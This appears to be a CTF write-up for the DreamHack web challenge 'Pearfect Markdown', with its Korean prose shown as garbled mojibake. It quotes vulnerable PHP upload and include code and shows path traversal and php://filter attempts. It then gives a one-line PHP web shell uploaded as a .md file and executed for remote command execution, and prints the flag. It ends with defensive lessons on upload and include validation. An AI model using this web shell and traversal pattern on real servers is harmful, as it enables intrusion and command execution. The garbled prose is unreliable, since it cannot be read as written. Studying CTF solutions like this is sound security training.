๋ฌธ์ : DreamHack โ Pearfect Markdown ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 1 FLAG:
DH{9a2a75682b662e873797cd3ccdd6b22fb166d43f2dddc6e57de9a6c0effc9307}
๋ฌธ์ ์ค๋ช ์ ๋ฑ ๋ ์ค์ด๋ค. "์ค์๊ฐ์ผ๋ก ๋งํฌ๋ค์ด์ ์์ ํด๋ณผ ์ ์๋ ํ์ด์ง์ ๋๋ค. ์๋น์ค์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ์ต์คํ๋ก์ํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์." ํ์ผ์ ์ฌ๋ฆฌ๊ณ , ๊ทธ ํ์ผ์ ๋ค์ ๋ถ๋ฌ์ ๋ฏธ๋ฆฌ๋ณด๊ธฐ๋ฅผ ํด์ฃผ๋ ํ์ด์ง โ ์ด ์กฐํฉ ์์ฒด๊ฐ ์ด๋ฏธ ์น ๋ฌธ์ ์์ ์ต์ํ ํจํด์ด๋ค. "๋ฌด์์ ์ฌ๋ฆด ์ ์๋๊ฐ"์ "์ฌ๋ฆฐ ๊ฑธ ์๋ฒ๊ฐ ์ด๋ป๊ฒ ๋ค์ ์ฝ๋๊ฐ", ์ด ๋ ์ง์ ์ด ์๋ก ๋ค๋ฅธ ํ์ผ์์ ๊ฐ๊ฐ ๋ค๋ฅธ ๊ธฐ์ค์ผ๋ก ๊ฒ์ฌ๋๊ณ ์์๊ณ , ๊ทธ ๊ธฐ์ค์ด ์๋ก ์ด๊ธ๋๋ ํ์์ ์ทจ์ฝ์ ์ด ์๊ฒผ๋ค.
๋ฌธ์ ๊ฐ์
VM์ ๋์ฐ๋ฉด ํ์ผ ์ ๋ก๋ ํผ๊ณผ ์์ ๋งํฌ๋ค์ด ๋ฏธ๋ฆฌ๋ณด๊ธฐ๊ฐ ์๋ ๋จ์ถํ ํ์ด์ง๊ฐ ๋ฌ๋ค.
๋ฌธ์ ํ์ผ๋ก deploy/ ๋๋ ํฐ๋ฆฌ ์ ์ฒด(PHP ์์ค 4๊ฐ + Dockerfile + docker-compose.yml)๊ฐ ํจ๊ป ์ ๊ณต๋๋ค. ์์ค๊ฐ ์์ผ๋ ๋ธ๋๋ฐ์ค ์ฝ์ง ์์ด ์ฝ๋๋ถํฐ ์ฝ์๋ค.
// upload.php
$uploads_dir = 'uploads/';
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
$tmp_name = $_FILES['file']['tmp_name'];
$name = basename($_FILES['file']['name']);
if (pathinfo($name, PATHINFO_EXTENSION) === 'md') {
move_uploaded_file($tmp_name, "$uploads_dir/$name");
echo "File uploaded successfully!";
} else {
echo "Only .md files are allowed!";
}
}// post_handler.php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$file = $_GET['file'] ?? 'example.md';
$path = $uploads_dir . $file;
include($path);
}index.php๋ ํ์ด์ง๊ฐ ์ด๋ฆฌ์๋ง์ fetch('post_handler.php')๋ฅผ ํธ์ถํด์ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ marked.parse()๋ก ๋ ๋๋งํ๋ค. ์ฆ post_handler.php๋ "์ง๊ธ ํธ์ง ์ค์ธ ํ์ผ์ ๋ด์ฉ์ ๋ณด์ฌ์ฃผ๋" ๋ฏธ๋ฆฌ๋ณด๊ธฐ ์๋ํฌ์ธํธ์ด๊ณ , ๊ธฐ๋ณธ๊ฐ์ example.md๋ค.
์ฌ๊ธฐ์ ๋์ ๋๋ ๋ ์ง์ ์ด ์์๋ค. upload.php๋ basename()์ผ๋ก ๊ฒฝ๋ก ์กฐ์์ ๋ง์ผ๋ฉด์ ํ์ฅ์๊ฐ md์ธ์ง๋ ํ์ธํ์ง๋ง ํ์ผ ๋ด์ฉ์ ๋จ ํ ๋ฐ์ดํธ๋ ๊ฒ์ฌํ์ง ์๋๋ค. ๊ทธ๋ฆฌ๊ณ post_handler.php๋ $_GET['file']์ ์ด๋ค ๊ฒ์ฆ๋ ์์ด 'uploads/' . $file ๋ก ์ด์ด๋ถ์ฌ ๋ฐ๋ก include()์ ๋๊ธด๋ค โ ๊ฐ์ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ค๋ฃจ๋ edit.php, save.php๋ realpath()์ strpos()๋ก uploads/ ๋ฐ๊นฅ ์ ๊ทผ์ ํ์คํ ๋ง์๋๋๋ฐ, ์ ๋
post_handler.php๋ง ๊ทธ ๊ฒ์ฆ์ด ํต์งธ๋ก ๋น ์ ธ์์๋ค.
// edit.php โ ๋์กฐ๊ตฐ: ์ฌ๊ธฐ๋ ๊ฒ์ฆ์ด ์๋ค
$path = realpath($uploads_dir . $file);
if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
echo htmlspecialchars(file_get_contents($path));
}edit.php/save.php๋ ํ์ผ ์ด๋ฆ์ ๋ค๋ฃฐ ๋ ํญ์ ์ด ๊ฒ์ฆ์ ๊ฑฐ์น๋๋ฐ, post_handler.php๋ง ์์ธ์๋ค. ๊ฐ์ ํ๋ก์ ํธ ์์์ "์ด ํ์ผ๋ง ๊ฒ์ฆ์ด ๋น ์ก๋ค"๋ ๊ฑด ์ค์์ผ ํ๋ฅ ์ด ๋๊ณ , ์ค์ ๋ก ์ด ๋ฌธ์ ์ ์ง์ง ์ทจ์ฝ์ ์ด ๋ฐ๋ก ์ฌ๊ธฐ์๋ค.
โถ๐ณ๏ธ ์ฝ์ง โ path traversal๋ก flag๋ฅผ ๋ฐ๋ก ์ฝ์ผ๋ ค๋ค ๊ณ์ ์คํจํ๋ค
post_handler.php๊ฐ ๊ฒ์ฆ ์๋ include()๋ผ๋ ๊ฑธ ํ์ธํ ์๊ฐ ๊ฐ์ฅ ๋จผ์ ๋ ์ค๋ฅธ ๊ฑด ์ ํ์ ์ธ LFI์๋ค. deploy/flag ํ์ผ์ด ๋ฌธ์ ์์ถ ํ์ผ ์์๋ ๋ค์ด์๊ธธ๋(๋ด์ฉ์ DH{**flag**}๋ผ๋ ๋๋ฏธ ๊ฐ์ด์์ง๋ง) "์ค์ ์๋ฒ์๋ ๊ฐ์ ์์น์ flag๊ฐ ์๊ฒ ์ง" ๋ผ๊ณ ๊ฐ์ ํ๊ณ ๋ฐ๋ก ๊ฒฝ๋ก traversal์ ์๋ํ๋ค.
$ curl "$VM/post_handler.php?file=../flag"
Warning: include(uploads/../flag): failed to open stream: No such file or directory
in /var/www/html/post_handler.php on line 9์๋ฌ ๋ฉ์์ง๊ฐ /var/www/html/post_handler.php๋ผ๋ ์ ๋๊ฒฝ๋ก๋ฅผ ๊ทธ๋๋ก ํ๋ ค์ค์, ํ์ฌ ์์
๋๋ ํฐ๋ฆฌ๊ฐ /var/www/html์ด๋ผ๋ ๊ฒ๊ณผ uploads/../flag๊ฐ ๊ฒฐ๊ตญ /var/www/html/flag๋ก ํ๋ฆฐ๋ค๋ ๊ฒ๊น์ง๋ ํ์ธํ๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ ๊ฒฝ๋ก์ ํ์ผ์ด ์์๋ค. ../../flag, ../../../flag์ฒ๋ผ ๋จ๊ณ๋ฅผ ๋๋ ค๋ด๋ ๋ง์ฐฌ๊ฐ์ง์๋ค.
Dockerfile์ ๋ค์ ์ฝ์ด๋ณด๊ณ ๋์์ผ ์ด์ ๋ฅผ ์์๋ค.
COPY . /var/www/html/
RUN RANDOM_STR=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32) && \
mv /var/www/html/flag /${RANDOM_STR}_flag์ด๋ฏธ์ง๋ฅผ ๋น๋ํ๋ ์์ ์ /var/www/html/flag๊ฐ ๋ฃจํธ ๋๋ ํฐ๋ฆฌ(/)๋ก, ๊ทธ๊ฒ๋ 32์์ง๋ฆฌ ๋๋ค ๋ฌธ์์ด์ด ๋ถ์ ์ด๋ฆ์ผ๋ก ์ฎ๊ฒจ์ง๋ค. ๊ทธ๋ฌ๋ ../flag์ฒ๋ผ ์๋ ์๋ ์๋ฆฌ๋ฅผ ๋
ธ๋ฆฌ๋ traversal์ ์ ์ด์ ์ฑ๋ฆฝํ ์ ์๋ ์๋์๋ค โ ํ์ผ์ด ๊ฑฐ๊ธฐ ์์ผ๋๊น.
๊ทธ ๋ค์์ผ๋ก ์๋ํ ๊ฑด include()๊ฐ ๋ฐ๋ ๋ฌธ์์ด์ PHP ์คํธ๋ฆผ ๋ํผ๋ฅผ ๋ฐ์ด๋ฃ๋ ๋ฐฉ๋ฒ์ด์๋ค. include()๋ ์ผ๋ฐ ํ์ผ ๊ฒฝ๋ก๋ฟ ์๋๋ผ php://filter/..., data://text/plain,... ๊ฐ์ ๋ํผ ๋ฌธ์์ด๋ ํด์ํ ์ ์์ผ๋, ์ด๊ฑธ ์ด์ฉํ๋ฉด ์์ค ์ฝ๋๋ฅผ base64๋ก ์ ์ถํ๊ฑฐ๋ ๊ณง๋ฐ๋ก ์ฝ๋๋ฅผ ์คํ์ํฌ ์ ์์ง ์์๊น ์ถ์๋ค.
$ curl "$VM/post_handler.php?file=php://filter/convert.base64-encode/resource=../post_handler.php"
Warning: include(uploads/php://filter/convert.base64-encode/resource=../post_handler.php):
failed to open stream: No such file or directory์ด๊ฒ๋ ์คํจํ๋ค. ์ด์ ๋ ๊ฐ๋จํ๋ค โ $path = $uploads_dir . $file์ด ๋ฌธ์์ด ๋งจ ์์ 'uploads/'๋ฅผ ํญ์ ๋ถ์ธ๋ค. PHP๊ฐ ์คํธ๋ฆผ ๋ํผ๋ฅผ ์ธ์ํ๋ ค๋ฉด ๋ฌธ์์ด์ด scheme://๋ก ์์ํด์ผ ํ๋๋ฐ, ์ฐ๋ฆฌ๊ฐ ๋ฃ์ ์ ์๋ ๊ฑด ์ด๋๊น์ง๋ $file ๋ถ๋ถ๋ฟ์ด๋ผ ์ต์ข
๋ฌธ์์ด์ ํญ์ uploads/php://... ํํ๊ฐ ๋๋ค. ์ด๊ฑด PHP ์
์ฅ์์ ๊ทธ๋ฅ uploads/๋ผ๋ ๋๋ ํฐ๋ฆฌ ๋ฐ์ ์๋, ์ด๋ฆ์ ์ฝ๋ก ์ด ๋ค์ด๊ฐ ํ์ผ์ ์ฐพ์ผ๋ผ๋ ๋ป์ผ ๋ฟ ๋ํผ๋ก ํด์๋์ง ์๋๋ค. ../๋ก ์์ uploads/๋ฅผ ์ง์๋ณด๋ ค ํด๋ ๋ฌธ์์ด ์์ฒด์์ ์ง์์ง๋ ๊ฒ ์๋๋ผ ํ์ผ์์คํ
๊ฒฝ๋ก ์ ๊ทํ ๋จ๊ณ์์๋ ์์๋๋ ๊ฒ์ด๋ผ, ๋ํผ ์ธ์(๋ฌธ์์ด ์์ ์์น ๊ฒ์ฌ)์๋ ์ํฅ์ ์ฃผ์ง ๋ชปํ๋ค.
์ฌ๊ธฐ์ ๋ฐฉํฅ์ ์์ ํ ๋ฐ๊ฟจ๋ค. "์ด๋ฏธ ์๋ฒ ์ด๋๊ฐ์ ์๋ ํ์ผ์ ์ฝ์ด๋ด๋" LFI๊ฐ ์๋๋ผ, "๋ด๊ฐ ์ํ๋ ๋ด์ฉ์ ๊ฐ์ง ํ์ผ์ ์๋ฒ์ ์ง์ ๋ง๋ค์ด ๋ฃ๊ณ ๊ทธ๊ฑธ ์คํ์ํค๋" ์ชฝ์ผ๋ก.
๐ฃ ํต์ฌ โ ํ์ฅ์ ๊ฒ์ฌ์ include()๋ ์๋ก ๋ค๋ฅธ ๊ฑธ ๋ณด๊ณ ์์๋ค
upload.php์ ํ์ฅ์ ๊ฒ์ฌ๋ฅผ ๋ค์ ๋ณด๋ฉด, ์ด ๊ฒ์ฌ๊ฐ ๋ง๋ ๊ฑด ๋ฑ ํ๋ โ ํ์ผ ์ด๋ฆ์ด .md๋ก ๋๋์ง ์๋ ๊ฒฝ์ฐ๋ฟ์ด๋ค. ํ์ผ ์์ ๋ฌด์จ ๋ฐ์ดํธ๊ฐ ๋ค์ด์๋์ง๋ ์ ํ ๊ด์ฌ์ด ์๋ค.
$ cp shell.md shell.php && curl -s -F 'file=@shell.php' $VM/upload.php
Only .md files are allowed!
$ curl -s -F 'file=@shell.md' $VM/upload.php
File uploaded successfully!
๊ทธ๋ฆฌ๊ณ ๋ฐ๋ํธ์ include()๋ PHP ์ธํฐํ๋ฆฌํฐ ์
์ฅ์์ ์ง๊ทนํ ์ ์์ ์ผ๋ก ๋์ํ๋ค โ include()๋ ๋์ ํ์ผ์ ํ์ฅ์๋ฅผ ์ ํ ์ ๊ฒฝ ์ฐ์ง ์๋๋ค. .md๋ .txt๋ ํ์ฅ์๊ฐ ์์ ์๋ , ๊ทธ ํ์ผ ์์ <?php ... ?> ํ๊ทธ๊ฐ ์์ผ๋ฉด PHP๋ ๊ทธ ๋ถ๋ถ์ ๊ทธ๋ฅ ์คํํ๋ค. .php ํ์ฅ์๋ ์ํ์น๊ฐ "์ด ์์ฒญ์ PHP ์ธํฐํ๋ฆฌํฐ๋ก ๋๊ธธ์ง" ํ๋จํ ๋๋ ์๋ฏธ๊ฐ ์์ ๋ฟ, include()๋ก ํ์ผ์ ๋ถ๋ฌ์ค๋ ์์ ์ ์๋ฌด ์๋ฏธ๊ฐ ์๋ค.
๋ ์ฌ์ค์ ๋ถ์ด๋ฉด ๊ฒฐ๋ก ์ ๋ช
ํํ๋ค. .md๋ผ๋ ์ด๋ฆํ๋ง ๋ถ์ด๋ฉด ๊ทธ ์์ ์ด๋ค PHP ์ฝ๋๋ฅผ ๋ฃ์ด๋ ์
๋ก๋๊ฐ ํต๊ณผ๋๊ณ , ๊ทธ ์ฝ๋๋ post_handler.php?file=<์ด๋ฆ>์ ํธ์ถํ๋ ์ฆ์ ๊ทธ๋๋ก ์คํ๋๋ค. ๊ฒฝ๋ก traversal๋, ์คํธ๋ฆผ ๋ํผ๋ ํ์ ์๋ค. ๊ทธ๋ฅ ํ์ด๋ก๋๋ฅผ ๋ด์ .md ํ์ผ ํ๋๋ฅผ ์ฌ๋ฆฌ๊ณ ๊ทธ ํ์ผ๋ช
์ ๊ทธ๋๋ก ๋ถ๋ฅด๋ฉด ๋์ด๋ค.
edit.php๋ htmlspecialchars()๋ก ์ด์ค์ผ์ดํํด์ ๋ณด์ฌ์ฃผ๊ธฐ ๋๋ฌธ์ ์ด ํ๋ฉด ์์ฒด์์๋ ์ฝ๋๊ฐ ์คํ๋์ง ์๋๋ค โ ์ฌ๊ธฐ์ ํ์ธํ๋ ค๋ ๊ฑด ์ค์ง "์
๋ก๋ํ ํ์ด๋ก๋๊ฐ ์์ ์์ด ๊ทธ๋๋ก ์ ์ฅ๋์ด ์๋๊ฐ" ํ๋์๋ค. ์คํ์ ์ค์ง post_handler.php๋ฅผ ๊ฑฐ์น ๋๋ง ์ผ์ด๋๋ค.
๐ฏ ์์ฒด ์๊ฒฐ solve
ํ์ด๋ก๋ ํ์ผ ๋ด์ฉ์ ์์ฃผ ์งง๋ค.
<?php system($_GET['cmd']); ?>์ด ๋ด์ฉ์ shell.md๋ก ์ ์ฅํด์ ์
๋ก๋ํ๊ณ , post_handler.php?file=shell.md&cmd=id๋ก ํธ์ถํด๋ดค๋ค.
uid=33(www-data)๊ฐ ๊ทธ๋๋ก ์ฐํ๋ค โ RCE ํ์ ์ด๋ค. ์ด์ ๋จ์ ๊ฑด flag ํ์ผ์ ์ค์ ์ด๋ฆ์ ์ฐพ๋ ๊ฒ๋ฟ์ด๋ค. Dockerfile์์ ํ์ธํ ๋๋ก flag๋ ๋ฃจํธ ๋๋ ํฐ๋ฆฌ(/)์ 32์ ๋๋ค ๋ฌธ์์ด์ด ๋ถ์ ์ด๋ฆ์ผ๋ก ์์ผ๋, cmd=ls+/๋ก ๋ฃจํธ๋ฅผ ์ง์ ๋์ดํ๋ค.
qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag. ๋๋จธ์ง๋ ๊ทธ๋ฅ ๊ทธ ํ์ผ์ ์ฝ์ผ๋ฉด ๋๋ค.
DH{9a2a75682b662e873797cd3ccdd6b22fb166d43f2dddc6e57de9a6c0effc9307}๋๋ฆผํต์ ์ ์ถํด "์ ๋ต! ํด๊ฒฐ ์ฒ๋ฆฌ๋จ"์ผ๋ก ํ์ ๋๊ณ VM ํฌ๋ ๋ง๋ ์ฆ์ ํ๊ธ๋๋ค.
๐ ๊ฒฐ๋ก
์ด ๋ฌธ์ ๋ ๋ ํ์ผ ๊ฐ๊ฐ์ ๋ฐ๋ก ๋ณด๋ฉด ๋ ๋ค "๊ทธ๋ญ์ ๋ญ ๋ฐฉ์ด๋ฅผ ํ๊ณ ์๋" ๊ฒ์ฒ๋ผ ๋ณด์ธ๋ค๋ ์ ์์ ์ค๋ฌด ์ฝ๋ ๋ฆฌ๋ทฐ์ ๋ํ ๊ตํ์ด ํฌ๋ค.
- ํ์ดํธ๋ฆฌ์คํธ๋ ํญ์ "๋ฌด์์ ๊ฒ์ฌํ๋๊ฐ"๊น์ง ๋ช
์ํด์ผ ํ๋ค.
pathinfo($name, PATHINFO_EXTENSION) === 'md'๋ ํ์ผ ์ด๋ฆ์ ํ์ฅ์๋ฅผ ๊ฒ์ฌํ๋ ๊ท์น์ด์ง, ํ์ผ ๋ด์ฉ์ด ์ค์ ๋ก ๋งํฌ๋ค์ด์ธ์ง ๊ฒ์ฌํ๋ ๊ท์น์ด ์๋๋ค. ์ ๋ก๋ ๊ฒ์ฆ์ "ํ์ฅ์ ํ์ดํธ๋ฆฌ์คํธ"๋ง์ผ๋ก ๋๋ด๋ฉด, ๊ทธ ํ์ผ์ด ๋์ค์ ์ด๋ป๊ฒ ์๋น๋๋์ง์ ๋ฐ๋ผ ์ธ์ ๋ ์ฐํ๋ ์ ์๋ ์ฌ์ง๊ฐ ๋จ๋๋ค. include()/require()์ ๋๊ธฐ๋ ๊ฒฝ๋ก๋ ์ฌ์ฉ์ ์ ๋ ฅ์ด ํ ๊ธ์๋ผ๋ ์์ด๋ ์๊ฐ ํญ์ ํ์ดํธ๋ฆฌ์คํธ๋ก ์ ํํด์ผ ํ๋ค. ์ด ํ๋ก์ ํธ๋ ์ด๋ฏธedit.php/save.php์์realpath()+strpos()ํจํด์ผ๋ก ์ ๋ต์ ๊ฐ๊น์ด ๊ฒ์ฆ์ ํด๋๊ณ ์์๋ค โ ๋ฌธ์ ๋ ๊ทธ ๊ฒ์ฆ์post_handler.php๋จ ํ ๊ณณ์์ ๋น ๋จ๋ฆฐ ๊ฒ๋ฟ์ด์๋ค. ๊ฐ์ ํ๋ก์ ํธ ์์ ์๋ก ๋ค๋ฅธ ๊ธฐ์ค์ผ๋ก ๊ฐ์ ์ข ๋ฅ์ ์ ๋ ฅ์ ๋ค๋ฃจ๋ ์ฝ๋๊ฐ ์ฌ๋ฌ ๊ณณ ์๋ค๋ฉด, ๊ทธ์ค ํ๋๋ง ์์ธ๋ผ๋ ์ ์ฒด ๋ฐฉ์ด์ ์ด ๋ซ๋ฆฐ๋ค.- ์ ๋ก๋ ๊ธฐ๋ฅ๊ณผ include/require ๊ธฐ๋ฅ์ ๋ฐ๋ก ๋ณด๋ฉด ์์ ํด ๋ณด์ฌ๋ ํฉ์ณ์ง๋ฉด RCE๊ฐ ๋๋ค. ์ ๋ก๋ ๋ผ์ฐํธ๋ฅผ ๊ฐ์ฌํ ๋ "์ด ํ์ผ์ด ๋์ค์ ์ด๋ป๊ฒ ์ด๋ฆฌ๋๊ฐ"๊น์ง, include ๋ผ์ฐํธ๋ฅผ ๊ฐ์ฌํ ๋ "์ด ๊ฒฝ๋ก์ ์ฌ์ฉ์๊ฐ ๋ง๋ ํ์ผ์ด ๋ค์ด์ฌ ์ ์๋๊ฐ"๊น์ง ๊ฐ์ด ๋ด์ผ ํ๋ค. ์ด๋ฒ ๋ฌธ์ ์ฒ๋ผ ๋ ๋ผ์ฐํธ๊ฐ ๋ฌผ๋ฆฌ์ ์ผ๋ก ๋ค๋ฅธ ํ์ผ์ ์์ผ๋ฉด ์ด ์ฐ๊ฒฐ๊ณ ๋ฆฌ๋ฅผ ๋์น๊ธฐ ๋ ์ฝ๋ค.
- ํ์ฅ์ ๊ธฐ๋ฐ ํํฐ๋ฅผ ์ฐํ๋นํ์ง ์์ผ๋ ค๋ฉด ์
๋ก๋๋ ํ์ผ์ด ์คํ ๊ฐ๋ฅํ ์์น์ ์ ์ฅ๋์ง ์๊ฒ ํ๊ฑฐ๋(์น ๋ฃจํธ ๋ฐ๊นฅ, ๋๋ค ํ์ผ๋ช
, ์คํ ๊ถํ ์ ๊ฑฐ), ์ ์ด์ ์ฌ์ฉ์ ์
๋ก๋ ํ์ผ์
include/require๋ก ์ง์ ์ฌ๋ ๊ตฌ์กฐ ์์ฒด๋ฅผ ํผํด์ผ ํ๋ค. ๋งํฌ๋ค์ด ๋ฏธ๋ฆฌ๋ณด๊ธฐ๊ฐ ์ง์ง ๋ชฉ์ ์ด๋ผ๋ฉด ์๋ฒ ์ชฝ์์ ๋งํฌ๋ค์ด ํ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก ํ์ฑํ ๊ฒฐ๊ณผ๋ง ๋๋ ค์ฃผ๊ณ , PHP๊ฐ ๊ทธ ํ์ผ์ ์ฝ๋๋ก์ ํด์ํ ๊ธฐํ ์์ฒด๋ฅผ ์์ฒ์ ์ผ๋ก ์ฐจ๋จํ๋ ๊ฒ ๋ง๋ ์ค๊ณ๋ค.
flag ํ์ผ๋ช
์ ๋น๋ ์์ ์ ๋๋คํํด๋ ๊ฒ ์์ฒด๋ ๋์์ง ์์ ๋ฐฉ์ด์๋ค โ ์ค์ ๋ก ์์ path traversal ์๋๋ฅผ ํ์คํ๊ฒ ๋ง์๋๋ค. ๋ค๋ง ๊ทธ ๋ฐฉ์ด๋ "ํ์ผ์ ์ด๋์ ์ฐพ์์ง ๋ชจ๋ฅด๊ฒ ํ๋" ์ข
๋ฅ์ ๋ฐฉ์ด์ผ ๋ฟ, ์ ์ด์ ์์ ์ฝ๋ ์คํ์ด๋ผ๋ ๋ ํฐ ๊ตฌ๋ฉ์ ๋ง์์ฃผ์ง ๋ชปํ๋ค. ls / ํ ์ค์ด๋ฉด ๋๋คํ๋ ๊ทธ๋ฅ ๋ฌด๋ ฅํ๋๋ค โ ์ด๋ฆ์ ์จ๊ธฐ๋ ๊ฒ๊ณผ ์ ๊ทผ ์์ฒด๋ฅผ ๋ง๋ ๊ฒ์ ๋ค๋ฅธ ๋ฌธ์ ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ